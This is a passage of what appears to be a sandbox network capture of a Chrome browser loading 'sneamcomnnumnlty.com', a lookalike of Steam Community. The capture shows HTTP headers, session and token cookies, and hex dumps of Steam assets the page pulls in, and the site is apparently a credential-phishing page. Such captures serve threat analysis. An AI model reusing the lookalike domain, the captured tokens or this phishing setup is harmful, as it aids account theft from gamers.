2024-10-06 11:20:57 UTC	1402	OUT	GET /a6ee8b8370c1415cb6ec9598e252c16b8f95105a30c1/c3836b18f15271feb179564b07a0a7149d6af2227872.js HTTP/1.1 Host: sneamcomnnumnlty.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://sneamcomnnumnlty.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.2EbG2O8heJpgXD04CdFo3z5oza20B3yX.Q5ZKUzW4x33iwvzB.fUh88qnr3b_n-zQzcqktlzDwzGlLlI4SoZS0zy4sPlKx_OUmV90INFbeUUVVKBoZgsEt-fv1AT3qP0Xn-uX2loVfgBVF5YRi9bOOy4zf4C4ihtgFYUvnfJq1Y1Pxztilb3IS4v5XlbM6vTWJi9UKRQxvTizTdD9Qn8ypdV21DRATIDJpsYxMN3icekFfhXHb4xleMLS1fzjpAQhKb389H9hiYYDxxIVTru3oMB2jvPcIQ9E.4AJEn71EZf_PSfBORgPLXQ; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6IjlkMjYzNjIwMzgyNTdhMTcyMTk5N2Q2NWZlNDVmODA1Iiwic2VydmljZSI6IlN0ZWFtIn0.TWqK8njcgaid234pLatdBmIcWcQnVdVlTQ1bicbwK0E; accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.IJtB_NWm_yUHt7tf_EGT6Q9mjUaKUdKW.x53niEl3zlVPoh_Z.PpUdUCE8tqi1h7Hqys-mzNGyV-WhIIc_3SR8g7yuxC0FYMueIuDof288KlGsfO0ngFKm3UoG2Bau_2IVtUChfiv4.m3YYjfy4F9PIaw26iffqCA; timezoneOffset=-14400,0
2024-10-06 11:20:57 UTC	1048	IN	HTTP/1.1 404 Not Found Date: Sun, 06 Oct 2024 11:20:57 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Etag: W/"41-0AeMVzV1pApYTMktTMxeiuYqqUg" Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OVAkxmWuyxMrj4DTRijw4sNIKZXh%2FDgVsjn4hsFnPDx%2FDTRIy5R%2FG6cQ6I5ZGMs71Xl51Ogo8HjDAr37jFBFcPWcRgsq9V6uNrOaabczhTm1IZ7EkqCmPkgDogAyyCQBRZOl03Ol6w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ce543ddc8be4322-EWR
2024-10-06 11:20:57 UTC	71	IN	Data Raw: 34 31 0d 0a 7b 22 6d 65 73 73 61 67 65 22 3a 22 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 22 2c 22 65 72 72 6f 72 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 2c 22 73 74 61 74 75 73 43 6f 64 65 22 3a 34 30 34 7d 0d 0a Data Ascii: 41{"message":"Page not found","error":"Not Found","statusCode":404}
2024-10-06 11:20:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.7	49774	2.19.126.97	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:57 UTC	394	OUT	GET /public/javascript/modal.js?v=.Gl8zxCENQAoO HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:57 UTC	347	IN	HTTP/1.1 200 OK Last-Modified: Wed, 28 Jun 2023 04:07:21 GMT ETag: ".Gl8zxCENQAoO" Server: nginx Content-Type: text/javascript;charset=UTF-8 Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=14425099 Expires: Sat, 22 Mar 2025 10:19:16 GMT Date: Sun, 06 Oct 2024 11:20:57 GMT Content-Length: 2917 Connection: close
2024-10-06 11:20:57 UTC	2917	IN	Data Raw: 76 61 72 20 73 65 6c 53 74 61 74 65 73 20 3d 20 6e 65 77 20 41 72 72 61 79 28 29 3b 0d 0a 76 61 72 20 6d 6f 64 61 6c 44 69 73 6d 69 73 73 48 61 6e 64 6c 65 72 20 3d 20 66 61 6c 73 65 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 73 68 6f 77 47 6f 74 53 74 65 61 6d 4d 6f 64 61 6c 28 20 63 6f 6e 74 65 6e 74 45 6c 2c 20 73 74 65 61 6d 55 52 4c 2c 20 61 70 70 4e 61 6d 65 20 29 0d 0a 7b 0d 0a 09 24 28 27 67 6f 74 53 74 65 61 6d 5f 53 74 65 61 6d 55 52 4c 27 29 2e 68 72 65 66 20 3d 20 73 74 65 61 6d 55 52 4c 3b 0d 0a 09 24 28 27 67 6f 74 53 74 65 61 6d 5f 41 70 70 4e 61 6d 65 27 29 2e 75 70 64 61 74 65 28 20 61 70 70 4e 61 6d 65 20 29 3b 0d 0a 09 73 68 6f 77 4d 6f 64 61 6c 28 20 63 6f 6e 74 65 6e 74 45 6c 20 29 3b 0d 0a 7d 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 73 Data Ascii: var selStates = new Array();var modalDismissHandler = false;function showGotSteamModal( contentEl, steamURL, appName ){$('gotSteam_SteamURL').href = steamURL;$('gotSteam_AppName').update( appName );showModal( contentEl );}function s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.7	49777	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:57 UTC	687	OUT	GET /public/images//v6/temp/cluster_bg_2.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://store.akamai.steamstatic.com/public/css/v6/store.css?v=z0n7Kqde-Ths&l=english Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:57 UTC	271	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 144661 Last-Modified: Fri, 05 Jan 2018 22:32:03 GMT ETag: "5a4ffce3-23515" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:20:57 GMT Connection: close
2024-10-06 11:20:57 UTC	16113	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 21 00 00 01 f4 08 06 00 00 00 03 b9 37 c5 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 22 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 Data Ascii: PNGIHDR!7tEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27
2024-10-06 11:20:57 UTC	16384	IN	Data Raw: 9e aa a0 da dc 30 ae e7 f1 28 c0 72 f5 cc 28 2d 0e d9 6b 15 75 70 34 6d 98 91 1d d5 fd 1c ec 45 88 50 71 00 10 59 ca 49 75 cd 2c e5 65 14 40 41 9d cf 83 80 4b 24 7e 59 11 18 19 e1 d5 49 b1 08 61 bd 0d d3 23 68 2a c0 ae 68 37 54 4e 7c 46 ac 46 31 8f 43 b0 1d 16 6d 37 00 51 91 69 4d 38 21 fb 0c 3c 93 ba 1f 98 f1 68 d7 19 9f 26 04 82 0a e9 b2 84 e0 ff 29 da 2b 77 ec e7 4a 65 13 b6 a7 dc 55 0d 21 c4 b1 56 fd d7 57 12 03 4a 1a c6 57 af a2 d1 d1 17 72 61 8e 6f 12 62 b7 6f 45 3c 28 20 14 4d 18 54 43 5d 09 c9 47 13 f6 15 8b 8d 2a 2c 65 c0 11 60 ce 63 dc 30 66 2b 36 de 0c e4 b2 d3 4d 14 aa 7e 25 c2 44 e9 27 06 24 66 ea b7 33 92 49 71 44 2a 82 8d 69 19 64 00 f5 38 81 53 03 a0 1d 39 fc 4c cb 62 a6 2f 99 46 07 3a a1 fc 05 40 03 00 bd 2b 42 68 01 c0 78 65 df 15 b9 83 Data Ascii: 0(r(-kup4mEPqYIu,e@AK$~YIa#hh7TN\|FF1Cm7QiM8!<h&)+wJeU!VWJWraoboE<( MTC]G,e`c0f+6M~%D'$f3IqD*id8S9Lb/F:@+Bhxe
2024-10-06 11:20:57 UTC	2220	IN	Data Raw: 74 10 80 6b 05 81 56 e9 2a a0 74 2f 46 be 3d 93 49 e7 b0 7f d4 57 67 3b 7e 58 1d 52 ed c6 d3 20 86 f0 b9 8c 10 aa c8 62 65 fe 18 00 18 59 94 01 d3 7f 1a c6 2b 1f a1 35 bc ea bb f3 9e f1 20 c4 53 45 76 56 91 72 61 38 1a 6a 58 9d ca f4 20 fe 54 95 96 52 91 d0 28 3a c0 0b 32 94 81 b5 30 5e 25 06 a5 4b 1a 19 f7 aa f4 68 00 9b ca f6 fa 61 7a c4 9e aa 67 90 f5 83 7a 82 9e f9 a9 ac ba 50 18 4e 9b 0b 40 16 b0 77 8d 62 8f 09 e0 07 57 d7 0f c3 1a 35 6c de ba e9 3a 68 9d 43 8f 8a 08 52 84 e6 bb 18 c8 2e 7e 67 26 8d 62 25 f1 70 15 f7 7d c9 f6 93 4b 74 56 65 a7 14 96 b6 5a a8 57 4f 18 6f bc 8b 59 1d e2 a7 a6 7d 54 21 e6 d5 64 09 61 33 9b 59 14 14 a6 f5 f9 39 0f e2 90 1a 20 4d 4c 20 54 2a 60 ca 00 7a f6 ac 4c f9 16 69 29 64 0b 7a 95 3e 30 c0 46 1c 60 23 c8 c2 b4 d9 c9 Data Ascii: tkVt/F=IWg;~XR beY+5 SEvVra8jX TR(:20^%KhazgzPN@wbW5l:hCR.~g&b%p}KtVeZWOoY}T!da3Y9 ML T`zLi)dz>0F`#
2024-10-06 11:20:57 UTC	16384	IN	Data Raw: 88 03 98 e2 07 8b b3 2e f6 2d 43 d2 8d b2 08 e3 80 bc 03 c7 69 dc 4e 01 62 40 bb 02 cc 82 24 77 84 d7 2e 0a 09 4c 53 44 11 8e 53 90 ff ee dd 2a f2 53 9d c7 17 21 30 7f 3d 8b 37 f2 88 5d 33 36 3b 4d 3c 4b e3 21 8e 08 9e 82 a4 1a f0 a3 12 ea cc 61 c2 b8 ae 13 d8 8d a6 34 f7 e4 ce de 21 ee 3d e5 2a 2e cf 73 e7 c4 93 0e 59 b6 a6 96 c9 f1 1d e9 e0 e2 c3 2e 70 cc 0e 39 95 c3 22 ee f7 9f 8e 76 4f f4 1d 0e 4f b0 58 72 bf 6b b0 e1 a7 04 c5 27 23 1d 4f ff ed bf 8d 85 f8 4f 1e c7 70 e2 80 ee 80 4f 55 e3 54 49 41 91 a0 3a 72 e2 89 c5 23 0a 56 b4 65 09 53 e5 28 01 fc 6d 18 e8 f4 2c 77 79 4f 8a a8 38 ab 75 ae e2 b3 45 20 5f 82 ed 77 09 1e 4b 24 9b c0 e3 c4 29 87 38 1c da ca ba eb 54 d8 81 d5 66 55 3b 96 58 9d f7 a0 aa ce f7 eb 78 e3 7f 45 ab de b7 ef be 04 f9 c0 9e 3f Data Ascii: .-CiNb@$w.LSDSS!0=7]36;M<K!a4!=.sY.p9"vOOXrk'#OOpOUTIA:r#VeS(m,wyO8uE _wK$)8TfU;XxE?
2024-10-06 11:20:57 UTC	16384	IN	Data Raw: 7c 90 13 1c 51 41 cc 25 7c 9f 10 11 4f 59 a1 5d 7e 77 ab a0 3a 3e fc ce 81 ac 2e db 58 30 21 b0 91 29 71 6e bd 87 97 d9 9c 4e bc c6 cd f4 31 5b 21 65 37 78 fe d9 22 d5 8b f3 80 61 ea c9 cb 54 42 46 38 b0 21 88 83 5d b0 c2 08 95 03 f7 0c 19 e0 bd 27 49 bb 08 98 aa 6d 74 16 c4 14 1b 65 01 b4 97 3c 9b a3 3d 47 46 86 a8 1a 30 2f 7a 57 89 b9 bb 7e 28 f0 98 98 71 c0 0b 5d a6 a4 78 06 b0 f4 6b c6 3d b5 d8 03 bc 7b 61 88 04 3a 59 90 c1 3c 5f 57 c5 41 b1 7e 93 05 d6 99 4c 9c 4e 2c 67 eb 7f 53 5d 1b 01 3c 02 9d ed e5 27 24 02 0c 61 9c da ef d9 75 2c 03 4a 93 fe 48 52 75 1f c8 e3 6c 00 77 ee 61 7f e7 46 39 60 c8 54 b5 47 52 85 53 ed 59 45 9e e1 88 69 4e fc ae 21 61 92 45 23 3b 57 36 72 87 dc 28 89 35 94 24 88 72 14 59 a1 a8 91 da 6e 93 26 53 d3 9d 98 e6 ac 53 0b f2 Data Ascii: \|QA%\|OY]~w:>.X0!)qnN1[!e7x"aTBF8!]'Imte<=GF0/zW~(q]xk={a:Y<_WA~LN,gS]<'$au,JHRulwaF9`TGRSYEiN!aE#;W6r(5$rYn&SS
2024-10-06 11:20:57 UTC	7952	IN	Data Raw: 77 0a 5b 09 39 a9 08 b9 69 f2 e6 81 7c 54 e8 cc d1 9c c5 a8 1b 39 aa 2a f9 ac 78 55 75 69 a9 ae 99 6a 7c f4 9e 83 3a 61 54 d5 29 b8 a0 bb 29 36 b4 fe 84 22 e0 95 90 38 3b d3 17 c1 38 d5 73 49 04 27 95 ce 53 85 21 96 89 f3 4e 47 a2 22 12 00 5e cc 03 f8 a8 4d aa 8b f3 5d 30 55 9d 72 2a c7 53 36 97 ae 98 d3 c1 99 20 a4 87 fa 3d 47 48 a2 49 d4 26 71 e9 97 df ff fa e5 15 e8 36 64 7c e6 cf 27 94 38 1d cb 94 88 3d ba eb 1b e1 ef aa d1 92 dd 7c 90 e9 66 4f ac 68 06 32 a1 9b 74 bd d5 75 4d c3 a0 3a 5b 38 75 08 0f 93 d8 aa 19 cb 05 2e 96 e8 9c 09 16 7c 85 98 01 f8 01 5d 01 62 0e 13 ec 5e 97 d9 db dd f5 64 7b e3 22 e4 d4 65 00 31 02 e0 be 8b cf 5b c7 e1 fd 75 fc fc 84 ae f6 9d 6d 80 af 22 01 5b e0 a2 82 55 4b a1 ab de 38 2d 95 27 ce 0e ce 1a b7 02 23 13 5a 68 2b 49 Data Ascii: w[9i\|T9xUuij\|:aT))6"8;8sI'S!NG"^M]0UrS6 =GHI&q6d\|'8=\|fOh2tuM:[8u.\|]b^d{"e1[um"[UK8-'#Zh+I
2024-10-06 11:20:57 UTC	16384	IN	Data Raw: 25 47 68 30 2b 55 46 d0 6d 41 3e 20 60 ff 07 ea ea 3e cc 21 38 05 a9 97 be 9f cc d1 45 1d ae 08 c0 96 4a 74 19 00 62 ef 94 da 27 40 d6 31 e2 66 fe 21 c0 9c 1b 5f 49 bc ec 9f 00 8f 84 e8 3e 5b 5b d3 83 b8 ab 96 9f fc 6f a5 19 a4 1c 5a 14 49 9c 8c 04 38 7f f7 44 8c 0f e6 9d 7a 97 b8 72 60 da 09 5d 6e 02 56 ce 77 34 75 34 62 44 03 db bf ee 7e 12 a1 d1 dd 88 f7 8e f0 d8 f8 a9 09 e3 f6 f7 d3 31 1f 05 2a 9d f0 a9 d3 96 e8 8c 9e 24 c4 b5 02 04 8a ac 52 9a 45 49 65 33 b1 b0 bc e7 02 0a b4 5c e0 63 11 3b 88 17 ea 1c 9b c8 ba aa cf f3 7a bd 49 4a b9 75 9b e2 5e 15 e8 63 f7 58 11 73 77 60 5b 39 44 5d d0 3a 74 67 3c f8 2e c4 bd 04 28 bf c0 bb 78 9d 60 7e 25 a2 09 d4 63 16 d5 3d 56 67 e4 32 39 d9 24 fb 50 ed 8d 0d ee 1a c2 f6 c4 34 7b fb fb fe aa ae d6 24 a6 54 ef e1 Data Ascii: %Gh0+UFmA> `>!8EJtb'@1f!_I>[[oZI8Dzr`]nVw4u4bD~1*$REIe3\c;zIJu^cXsw`[9D]:tg<.(x`~%c=Vg29$P4{$T
2024-10-06 11:20:57 UTC	6483	IN	Data Raw: 55 e7 cc 6e ee 3d 06 5c a6 21 0a 81 5a 63 e3 9d 18 97 ce c8 a6 49 61 4a ee 76 c1 d5 39 b6 32 cd 7d b0 24 33 01 a0 4f 47 2a 12 f7 0c 20 eb 2e 49 5a 93 3b d7 e5 e6 f4 93 91 82 e4 c0 fe 54 95 5d 25 c9 a9 15 72 2a 3a d8 05 82 e9 f7 74 73 82 df 45 2e 0c 71 36 23 f8 7b f7 33 6e 96 1e 26 81 ec dc 7b 6a c7 98 68 1e 74 41 fb 7e 63 df 24 fb 28 fd bc 11 c6 9c 1d 7e 67 3a a2 e7 48 99 27 96 f5 08 62 50 65 e3 e7 08 02 76 7e 56 cf e1 04 4f 6e 0c 24 21 8e 93 31 2d b5 c7 ce 4e e0 0e f9 bf a0 45 15 81 5c 54 d7 bd 6b 55 05 7e 82 5b fc b2 ce 06 26 de 9f 8c c3 01 bc f2 be 0f 90 7c 02 c4 ca 7d 83 91 21 83 e4 c3 5b ac 2b 8b a9 95 06 85 23 b4 9c b0 6c 95 8f 4d 41 be 57 dd 31 8c f0 3c 89 a8 a4 e3 33 71 99 61 16 ac 2c 17 1a c8 f4 1c d2 f3 30 21 db c5 f5 fc 8f 39 c6 fe 45 13 02 cd Data Ascii: Un=\!ZcIaJv92}$3OG* .IZ;T]%r*:tsE.q6#{3n&{jhtA~c$(~g:H'bPev~VOn$!1-NE\TkU~[&\|}![+#lMAW1<3qa,0!9E
2024-10-06 11:20:57 UTC	16384	IN	Data Raw: b3 7e 55 1e b8 6e d7 73 ff 4e 56 fc aa d6 76 1e 9f c3 08 ab 73 2c 25 39 47 ce fb 59 e4 b9 ce 70 1f 56 c5 d1 3b 0e 79 89 f7 89 d9 82 9e c4 82 22 48 9d cd ef 6e e4 57 3b dc 9f 38 c8 a6 fc 3d da 7f ff 7f f8 eb ff 1f 5f c1 2f a6 55 ad 64 b6 75 23 f3 33 75 2c 4a 62 89 d2 09 e8 ca ea 68 42 eb 06 b8 a0 e2 1e f8 c9 d4 25 40 a6 43 7c 54 9b 65 e0 a7 90 62 25 0c a9 48 99 7b 5b 94 ea f2 98 a8 c5 5b 26 21 1f 2a a2 a2 12 85 3c 99 d4 8b fc 7d 45 0c 2c f8 2e 90 aa 72 3f 8b 7d 38 c0 3b 4e 18 2b ad 18 c8 29 08 ae b3 ed ed 25 ae 09 86 2c 51 6b 7e b2 c9 a7 6a 31 db 73 89 95 a6 62 be 1d 3b 5c 25 2b 1b 99 15 70 67 8c 61 37 48 91 4e 5b 7f 27 09 4c 7f 37 25 67 9f 24 fb 4e e0 b4 03 2a 3e e5 9c f4 e4 79 7d 0a 90 aa b9 f8 94 0c fa 04 70 77 e4 36 7e f3 3a 3c 25 66 5c ae 90 fe fb 7f Data Ascii: ~UnsNVvs,%9GYpV;y"HnW;8=_/Udu#3u,JbhB%@C\|Teb%H{[[&!<}E,.r?}8;N+)%,Qk~j1sb;\%+pga7HN['L7%g$N>y}pw6~:<%f\
2024-10-06 11:20:57 UTC	16384	IN	Data Raw: ea 34 c1 67 01 88 65 cb be 2b 19 01 cc 89 31 ff d4 35 0a b8 5f 3b e2 ec 9e 16 27 db 7d 86 80 62 fe 87 ba 5f 4c b4 37 03 a1 0e 0e e8 c5 fa ae 4e b5 7b 02 ae 2b 61 c7 4a 50 9e 1d e4 66 38 28 3b 70 ed a2 0f d4 a1 b8 c2 17 55 79 54 96 62 e1 f8 86 ac 3f b2 67 ee a4 af b2 76 31 7d 3b 47 57 42 bd 73 a0 d6 4e 71 d2 37 aa b1 f0 df f3 3b d5 31 9c b2 2e 40 1d 62 d2 8a ef 32 32 20 0a a2 84 89 8f f4 82 50 68 82 7c 50 a0 b2 93 c1 cd 36 a3 4a 9f 01 d0 11 0c 5b 02 bc d9 40 61 e0 77 9c c0 47 2d 89 a3 20 63 03 d7 be e8 82 19 ac 00 64 f6 ce b2 7b 02 79 15 8b 4e de 7f 55 ea ad 13 96 32 23 02 18 11 c6 22 60 76 e3 f9 b3 4d 39 04 99 d1 0d 60 ad c6 82 2a 0d aa c2 de 1c e6 b3 2a 85 5b 91 71 ea 99 66 c3 f9 2a 10 fe 0c 07 f0 b3 4f b6 c2 20 aa 16 f8 fb 79 e0 a6 41 0b 42 39 15 79 d8 Data Ascii: 4ge+15_;'}b_L7N{+aJPf8(;pUyTb?gv1};GWBsNq7;1.@b22 Ph\|P6J[@awG- cd{yNU2#"`vM9`*[qfO yAB9y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.7	49778	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:57 UTC	605	OUT	GET /public/shared/images/responsive/logo_valve_footer.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:57 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 1846 Last-Modified: Fri, 05 Jan 2018 22:31:56 GMT ETag: "5a4ffcdc-736" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:20:57 GMT Connection: close
2024-10-06 11:20:57 UTC	1846	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5c 00 00 00 1a 08 06 00 00 00 3a ee 3b 29 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 10 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 Data Ascii: PNGIHDR\:;)tEXtSoftwareAdobe ImageReadyqe<iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.7	49776	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:57 UTC	609	OUT	GET /public/shared/images/responsive/header_menu_hamburger.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:57 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 3777 Last-Modified: Fri, 05 Jan 2018 22:31:56 GMT ETag: "5a4ffcdc-ec1" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:20:57 GMT Connection: close
2024-10-06 11:20:57 UTC	3777	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 f4 00 00 00 d4 08 06 00 00 00 ab 83 0e c8 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 0e 63 49 44 41 54 78 da ec dd 5f 4c 54 67 1a c7 f1 77 fe 69 d0 91 ba 10 0b 8a 8b ae cb 56 6d 6b 82 36 58 bb eb 9f 86 a6 b5 69 bb b2 46 db 8b 8a 7b e9 ae ed c5 5e b6 d9 5e 34 4d 7a d1 9b 9a 36 6d 6c 9a b4 6e 62 20 5d 12 b1 80 d6 88 65 bb 61 13 c5 ed da 76 a7 fe 29 ac a0 05 61 05 45 06 29 03 23 03 c3 3e ef 30 d0 33 67 06 4b 77 77 38 2f 93 ef 27 79 02 67 86 8b c9 f0 fc ce fb 9e 73 66 de e3 1a 1f 1f 57 00 32 83 9b b7 00 20 d0 00 08 34 00 02 0d 80 40 03 04 1a 00 81 06 40 a0 01 10 68 00 04 1a 20 d0 00 08 34 00 02 0d 80 40 03 20 d0 00 81 06 40 a0 01 Data Ascii: PNGIHDRtEXtSoftwareAdobe ImageReadyqe<cIDATx_LTgwiVmk6XiF{^^4Mz6mlnb ]eav)aE)#>03gKww8/'ygsfW2 4@@h 4@ @

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.7	49781	88.221.169.65	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:57 UTC	548	OUT	GET /dynamicstore/saledata/?cc=RU HTTP/1.1 Host: store.steampowered.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://sneamcomnnumnlty.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:57 UTC	360	IN	HTTP/1.1 200 OK Server: nginx Content-Type: application/json; charset=utf-8 X-Frame-Options: DENY Cache-Control: public,max-age=300 Expires: Sun, 06 Oct 2024 11:21:03 GMT Last-Modified: Sun, 06 Oct 2024 11:15:00 GMT Strict-Transport-Security: max-age=10368000 Vary: origin Date: Sun, 06 Oct 2024 11:20:57 GMT Content-Length: 29 Connection: close
